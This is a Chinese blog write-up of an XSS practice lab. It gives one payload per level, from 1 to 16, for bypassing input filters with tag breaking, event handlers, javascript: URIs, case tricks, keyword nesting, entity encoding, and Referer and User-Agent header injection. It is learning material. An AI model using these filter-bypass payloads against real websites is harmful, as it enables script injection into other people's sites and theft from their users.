XSS靶场练习

level 1:

看url地址可以看出是一个get请求,name参数值直接暴露,可作为注入点

注入脚本:<svg οnlοad=alert(1)>  成功

 

level 2:

F12查看输入点在input标签里面,想办法在value处注入

思路:先闭合标签

注入脚本:"><script>alert(1)</script>  成功

 

level 3:与level2不同的是,value做了校验,双引号和尖括号都被校验了

思路:可以考虑单引号,以及不含转义字符的注入方式

注入脚本:'οnclick='alert(1)  成功

 

level 4:发现尖括号直接被替换为空了,但是双引号没有被校验

思路:所以可以用不含转义字符的注入方式

注入脚本:"οnclick="alert(1)  注入成功

 

level 5:对on*、script做了校验,十一使用为协议javascript:alert(1)

思路:闭合前面的input标签再用<a>标签的href属性

注入脚本:"><a href='javascript:alert(1)'>  成功

 

level 6:发现在level的基础上,过滤了href

思路:发现对大写没有限制,可以考虑用大写的脚本注入

 

注入脚本:"><Script>alert(1)</Script>  成功

 

level 7:发现把script、on、href替换为空

思路:可以将关键字重组

注入脚本:"><scriscriptpt>alert(1)</scriscriptpt>

 

level 8:发现输出点是链接形式,且在a标签的href属性中,可以考虑javascript,但是发现script被过滤了

思路:可以试试实体编码

 

注入脚本:java&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;:alert(1)  成功

 

level 9:发现对href的值限制,不是链接就不行作了

思路:多试一下以后,发现有http://就行,没有规定一定要开头,那么可以试试放在注释里面

注入脚本:javascrip&#x74;alert(1)//http://www.baidu.com  成功

 

level 10:发现有三个隐藏的参数

思路:因为是get传输,可以在url上拼接这几个参数,并对参数值进行注入

发现t_link、t_history参数均作了校验,t_sort参数仅对尖括号作了校验

可以考虑不含转义字符的注入方式,但是界面没有可以点击的对象》可以考虑给到一个》可以给一个触发的事件

双引号闭合value值,type设置为text,触发事件可以选择onmouseover

 

注入脚本&t_sort="type="text" οnmοuseοver="alert(1)"  成功

 

level 11:发现有4个隐藏的参数,同level 10一样的排出方式,发现t_link、t_history、t_sort参数作了校验,不能注入成功

思路:t_ref参数的值用同样的方法,发现无法入参,没办法,用上了Bp工具,抓取报文,在herder中想办法,找类似于链接的参数,进行注入,发现没有referer

试试增加referer,发现t_ref终于可以入参了

注入方法:BP抓取正常的报文》往header中写入referer注入参数信息,写法参考level 10》重新请求

注入脚本:&t_ref="type="text" οnmοuseοver="alert(1)" 成功

header信息介绍:https://blog.csdn.net/qq_42218123/article/details/80664302

referer:http://123.56.245.68:8091/level11.php?t_ref="type="text" οnmοuseοver="alert(1)"

 

level 12:同上面两题,BP抓取报文看,多了一个参数类似是User-Agent,好可以从这个地方入手了

注入方法:BP抓取报文》修改User-Agent信息》重放,具体见图

注入脚本:"type="text" οnmοuseοver="alert(1)"  成功

 

level 13:增加了一个t_cook隐藏参数,思维类似上面排查,发现header头写入参数并不能生效(这题有问题,cookie中根本没有user这个参数,看了攻略才知道)

level 14:崩了

level 15:崩了

lever 16:发现script被校验了,而且重放报文来看,空格被实体化了,如图2

思路:可以用回车代替空格,在bp工具中转一下空格的编码

 

 

注入脚本:<img%0asrc%0aonload%0a=alert(1)>或者<svg%0aοnlοad=alert(1)>  成功

 

 

 

  

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值